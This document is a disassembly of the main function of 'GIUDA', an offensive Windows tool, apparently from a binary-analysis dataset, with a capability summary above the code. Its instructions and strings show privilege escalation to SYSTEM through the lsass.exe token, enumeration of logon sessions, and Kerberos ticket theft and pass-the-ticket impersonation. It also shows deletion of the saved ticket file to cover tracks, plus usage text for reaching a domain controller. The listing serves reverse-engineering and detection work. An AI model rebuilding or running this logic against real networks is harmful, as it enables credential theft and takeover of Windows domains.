Function at 0x100001ee0
Capabilities:
Acquire debug privileges
Delete file
Get common file path
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x160]
mov qword [rbp - 0x120], rbx
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
nop
mov edx, 1
lea rcx, str._:._fox_aka_calipendula
call fcn.100001a30
mov edx, 1
lea rcx, str.GIUDA_2023100400
call fcn.100001a30
call fcn.100011ae0
mov rcx, rax
call fcn.100011c60
call fcn.10000dd10
call fcn.100012c80
test eax, eax
jle 0x100001ff9
lea rcx, [rbp - 8]
mov edx, 0x104
call fcn.10000e750
mov rcx, qword [rbp - 8]
mov edx, 0x103
call sub.kernel32.dll_GetSystemDirectoryA
lea rcx, str.SeDebugPrivilege
call fcn.1000260c0
test al, al
jne 0x100001ff9
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ptt
call fcn.100008370
test rax, rax
jne 0x100001ff9
call fcn.100011ae0
mov rbx, rax
lea r8, str._You_need_Administrative_privileges
mov rdx, rbx
xor ecx, ecx
call fcn.100011d30
call fcn.10000dd10
mov rcx, rbx
call fcn.100011c60
call fcn.10000dd10
call fcn.100011ae0
mov rbx, rax
lea r8, str._vAborting...
mov rdx, rbx
xor ecx, ecx
call fcn.100011d30
call fcn.10000dd10
mov rcx, rbx
call fcn.100011c60
call fcn.10000dd10
call fcn.100012c80
test eax, eax
jne 0x100002177
mov edx, 1
lea rcx, str.To_spawn_a_cmd.exe_as_SYSTEM
call fcn.100001a30
mov edx, 1
lea rcx, str.C:__GIUDA__runaslsass
call fcn.100001a30
call fcn.100011ae0
mov rbx, rax
lea r8, [0x10004c330]
mov rdx, rbx
xor ecx, ecx
call fcn.100011d30
call fcn.10000dd10
mov rcx, rbx
call fcn.100011c60
call fcn.10000dd10
mov edx, 1
lea rcx, str.C:__GIUDA__runaspid:PID
call fcn.100001a30
call fcn.100011ae0
mov rcx, rax
call fcn.100011c60
call fcn.10000dd10
mov edx, 1
lea rcx, str.To_query_active_LUIDs
call fcn.100001a30
mov edx, 1
lea rcx, str.C:__GIUDA__askluids
call fcn.100001a30
call fcn.100011ae0
mov rcx, rax
call fcn.100011c60
call fcn.10000dd10
mov edx, 1
lea rcx, str.To_ask_a_TGS
call fcn.100001a30
mov edx, 1
lea rcx, str.C:__GIUDA__gettgs__luid:0xNNNNN__msdsspn:HTTP_DCNAME
call fcn.100001a30
mov edx, 1
lea rcx, str.C:__GIUDA__gettgs__luid:0xNNNNN__msdsspn:HTTP_DCNAME__save
call fcn.100001a30
call fcn.100011ae0
mov rcx, rax
call fcn.100011c60
call fcn.10000dd10
mov edx, 1
lea rcx, str.Example:
call fcn.100001a30
mov edx, 1
lea rcx, str._runaslsass___to_become_SYSTEM
call fcn.100001a30
mov edx, 1
lea rcx, str._askluids___to_get_all_LUIDs
call fcn.100001a30
mov edx, 1
lea rcx, str._gettgs_and__luid:0xNNNNN_and__msdsspn:HTTP_DCNAME___to_get_and_PASS_a_tgs
call fcn.100001a30
mov edx, 1
lea rcx, str._gettgs_and__luid:0xNNNNN_and__msdsspn:HTTP_DCNAME__save___to_get_and_SAVE_a_tgs
call fcn.100001a30
mov edx, 1
lea rcx, str.Open_a_Powershell_and...
call fcn.100001a30
mov edx, 1
lea rcx, str._PS__C:__Enter_PSsession__computername_DCNAME
call fcn.100001a30
mov edx, 1
lea rcx, str.Enjoy_GIUDA
call fcn.100001a30
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._msdsspn
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x100002278
mov rcx, qword [0x100048400]
call fcn.100003b60
mov rbx, rax
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006a020]
lea rcx, [0x10006a060]
mov r9, rbx
call fcn.1000082c0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006a060]
xor r9, r9
lea r8, str._msdsspn:
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a060]
call fcn.100007300
mov rdx, qword [0x10006a060]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
test rax, rax
jle 0x100002278
mov rdx, qword [0x10006a060]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
mov r9, rax
dec r9
mov rdx, qword [0x10006a060]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000082c0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a060]
call fcn.100007300
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._runaspid
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x1000023db
mov rcx, qword [0x100048400]
call fcn.100003b60
mov rbx, rax
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006a020]
lea rcx, [0x10006a050]
mov r9, rbx
call fcn.1000082c0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006a050]
xor r9, r9
lea r8, str._runaspid:
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a050]
call fcn.100007300
mov rdx, qword [0x10006a050]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
test rax, rax
jle 0x100002379
mov rdx, qword [0x10006a050]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
mov r9, rax
dec r9
mov rdx, qword [0x10006a050]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000082c0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a050]
call fcn.100007300
cmp qword [0x10006a050], 0
jne 0x100002399
mov edx, 1
lea rcx, str.Check_your_syntax__PID_is_empty
call fcn.100001a30
jmp 0x100002c7a
mov r8, qword [0x10006a060]
mov rdx, qword [0x10006a050]
lea rcx, str.cmd.exe
call fcn.100001b00
test al, al
je 0x1000023ca
mov edx, 1
lea rcx, str.Giuda_Opened_CMD_as_GOD...
call fcn.100001a30
jmp 0x1000023db
mov edx, 1
lea rcx, str.Error__not_good...
call fcn.100001a30
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ticket
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x1000024fc
mov rcx, qword [0x100048400]
call fcn.100003b60
mov rbx, rax
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006a020]
lea rcx, [0x10006a030]
mov r9, rbx
call fcn.1000082c0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006a030]
xor r9, r9
lea r8, str._ticket:
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a030]
call fcn.100007300
mov rdx, qword [0x10006a030]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
test rax, rax
jle 0x1000024dc
mov rdx, qword [0x10006a030]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
mov r9, rax
dec r9
mov rdx, qword [0x10006a030]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000082c0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a030]
call fcn.100007300
cmp qword [0x10006a030], 0
jne 0x1000024fc
mov edx, 1
lea rcx, str.Check_your_syntax__TICKET_is_empty
call fcn.100001a30
jmp 0x100002c7a
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._runaslsass
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x1000025cf
xor dl, dl
lea rcx, str.lsass.exe
call fcn.1000340e0
mov ecx, eax
mov r9d, 0xff
lea r8, [rbp - 0x118]
mov rdx, 0xffffffffffffffff
call fcn.100004640
xor r8d, r8d
lea rdx, [rbp - 0x118]
lea rcx, [rbp - 0x18]
call fcn.100007c80
xor r8b, r8b
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.100008b60
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a050]
call fcn.100007300
mov r8, qword [0x10006a060]
mov rdx, qword [0x10006a050]
lea rcx, str.cmd.exe
call fcn.100001b00
test al, al
je 0x1000025be
mov edx, 1
lea rcx, str.Giuda_Opened_CMD_as_GOD...
call fcn.100001a30
jmp 0x1000025cf
mov edx, 1
lea rcx, str.Error__not_good...
call fcn.100001a30
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._luid:
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x100002694
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006a020]
lea rcx, [0x10006a040]
mov r9d, 0xff
call fcn.1000082c0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006a040]
xor r9, r9
lea r8, str._luid:
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a040]
call fcn.100007300
mov rdx, qword [0x10006a040]
mov r8d, 1
mov ecx, 0x20
call fcn.100008430
mov rdx, rax
lea rcx, [0x10006a040]
mov r8d, 0xff
call fcn.1000086d0
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._save
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x1000026ce
mov byte [0x100048280], 1
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._gettgs
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x1000029b0
cmp qword [0x10006a040], 0
jne 0x100002722
lea rcx, [0x10006a040]
lea rdx, [0x10004c968]
call fcn.100007300
cmp qword [0x10006a040], 0
je 0x1000027b3
mov rdx, qword [0x10006a040]
mov r9d, 2
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000082c0
mov rcx, qword [rbp - 0x18]
lea rdx, [0x10004c988]
call fcn.100007fe0
test rax, rax
jne 0x100002796
mov dword [rsp + 0x20], 2
mov rdx, qword [0x10006a040]
lea r9, [0x10004c9a8]
lea r8, [0x10004c988]
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a040]
call fcn.100007300
jmp 0x1000027b3
mov r8, qword [0x10006a040]
lea rcx, [0x10006a040]
xor r9d, r9d
lea rdx, [0x10004c9a8]
call fcn.100007420
call fcn.100011ae0
mov rbx, rax
mov r8, qword [0x10006a040]
mov rdx, rbx
xor ecx, ecx
call fcn.100011e30
call fcn.10000dd10
mov rcx, rbx
call fcn.100011c60
call fcn.10000dd10
mov edx, 1
lea rcx, str.____Giuda_betrays_for_a_few_coins
call fcn.100001a30
lea rcx, [rbp - 0x18]
call fcn.100007280
lea rax, str.Asking_a_TGS_impersonating_LUID:
mov qword [rbp - 0x38], rax
mov rax, qword [0x10006a040]
mov qword [rbp - 0x30], rax
lea rax, str._for_MSDSSPN:
mov qword [rbp - 0x28], rax
mov rax, qword [0x10006a060]
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x38]
xor r9d, r9d
mov r8d, 3
lea rcx, [rbp - 0x18]
call fcn.1000076f0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.100001a30
call fcn.1000145e0
test eax, eax
jne 0x100002887
mov rcx, qword [0x10006a040]
call fcn.1000283e0
movsxd r8, eax
mov rcx, qword [0x10006a060]
mov edx, 0xffffffff
call fcn.100015360
mov edx, 1
lea rcx, str.____Giuda_spilled_the_name
call fcn.100001a30
call fcn.1000147c0
cmp byte [0x100048280], 0
jne 0x10000299f
mov dword [0x10006a080], 0xffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9, r9
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x10004ca90]
call sub.kernel32.dll_CreateFileA
mov dword [0x10006a080], eax
mov ecx, eax
xor edx, edx
call sub.kernel32.dll_GetFileSize
mov dword [0x10006a070], eax
mov ecx, eax
call fcn.10000e7d0
mov qword [0x10006a090], rax
mov dword [0x10006a010], 0
mov edx, 1
lea rcx, str.Loading_TGS
call fcn.100001a30
mov qword [rsp + 0x20], 0
mov rdx, qword [0x10006a090]
mov ecx, dword [0x10006a080]
lea r9, [0x10006a010]
mov r8d, dword [0x10006a070]
call sub.kernel32.dll_ReadFile
mov ecx, dword [0x10006a080]
call sub.kernel32.dll_CloseHandle
cmp dword [0x10006a010], 0
je 0x100002980
call fcn.1000145e0
test eax, eax
jne 0x100002980
mov edx, dword [0x10006a010]
mov rcx, qword [0x10006a090]
xor r8, r8
call fcn.100014870
mov edx, 1
lea rcx, str.____Giuda_collects_the_coins_and_Pass_the_Ticket
call fcn.100001a30
call fcn.1000147c0
lea rcx, [0x10004ca90]
call sub.kernel32.dll_DeleteFileA
mov edx, 1
lea rcx, str.____Giuda_betrayed_and_covered_tracks
call fcn.100001a30
jmp 0x1000029b0
mov edx, 1
lea rcx, str.Ticket_saved_as_TICKET.KIRBI
call fcn.100001a30
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ptt
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x100002ba8
cmp qword [0x10006a030], 0
jne 0x100002a07
mov edx, 1
lea rcx, str.Please_specify_a_TICKET_file
call fcn.100001a30
jmp 0x100002c7a
mov rcx, qword [0x10006a030]
mov dl, 1
call fcn.100027da0
test al, al
jne 0x100002a7d
lea rcx, [rbp - 0x18]
call fcn.100007280
lea rax, str.Ticket_file
mov qword [rbp - 0x30], rax
mov rax, qword [0x10006a030]
mov qword [rbp - 0x28], rax
lea rax, str._doesnt_exists
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x30]
xor r9d, r9d
mov r8d, 2
lea rcx, [rbp - 0x18]
call fcn.1000076f0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.100001a30
mov edx, 1
lea rcx, str.Please_check_filename
call fcn.100001a30
jmp 0x100002c7a
mov edx, 1
lea rcx, str.____Giuda_accepted_few_coins
call fcn.100001a30
mov dword [0x10006a080], 0xffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, qword [0x10006a030]
test rcx, rcx
jne 0x100002ac4
lea rcx, [0x10006b500]
xor r9, r9
mov r8d, 1
mov edx, 0x80000000
call sub.kernel32.dll_CreateFileA
mov dword [0x10006a080], eax
mov ecx, eax
xor edx, edx
call sub.kernel32.dll_GetFileSize
mov dword [0x10006a070], eax
mov ecx, eax
call fcn.10000e7d0
mov qword [0x10006a090], rax
mov dword [0x10006a010], 0
mov edx, 1
lea rcx, str.Loading_TGS
call fcn.100001a30
mov qword [rsp + 0x20], 0
mov rdx, qword [0x10006a090]
mov ecx, dword [0x10006a080]
lea r9, [0x10006a010]
mov r8d, dword [0x10006a070]
call sub.kernel32.dll_ReadFile
mov ecx, dword [0x10006a080]
call sub.kernel32.dll_CloseHandle
cmp dword [0x10006a010], 0
je 0x100002b86
call fcn.1000145e0
test eax, eax
jne 0x100002b86
mov edx, 1
lea rcx, str.____Giuda_collects_the_coins_and_Pass_the_Ticket
call fcn.100001a30
mov edx, dword [0x10006a010]
mov rcx, qword [0x10006a090]
xor r8, r8
call fcn.100014870
call fcn.1000147c0
mov edx, 1
lea rcx, str.Ticket_loaded_in_memory
call fcn.100001a30
mov edx, 1
lea rcx, str.____Giuda_betrayed
call fcn.100001a30
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._askluids
call fcn.100008370
mov dword [0x10006a020], eax
test eax, eax
jbe 0x100002c7a
mov rcx, qword [0x100048400]
call fcn.100003b60
mov rbx, rax
mov rdx, qword [0x100048400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100007d70
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006a020]
lea rcx, [0x10006a060]
mov r9, rbx
call fcn.1000082c0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006a060]
xor r9, r9
lea r8, str._askluids:
lea rcx, [rbp - 0x18]
call fcn.10002b9a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006a060]
call fcn.100007300
lea rcx, [0x10006a040]
lea rdx, [0x10004c968]
call fcn.100007300
call fcn.1000145e0
test eax, eax
jne 0x100002c7a
lea rcx, [0x100014490]
call fcn.100026b30
call fcn.1000147c0
nop
mov rcx, rbp
call fcn.100001eb0
mov rbx, qword [rbp - 0x120]
lea rsp, [rbp]
pop rbp
ret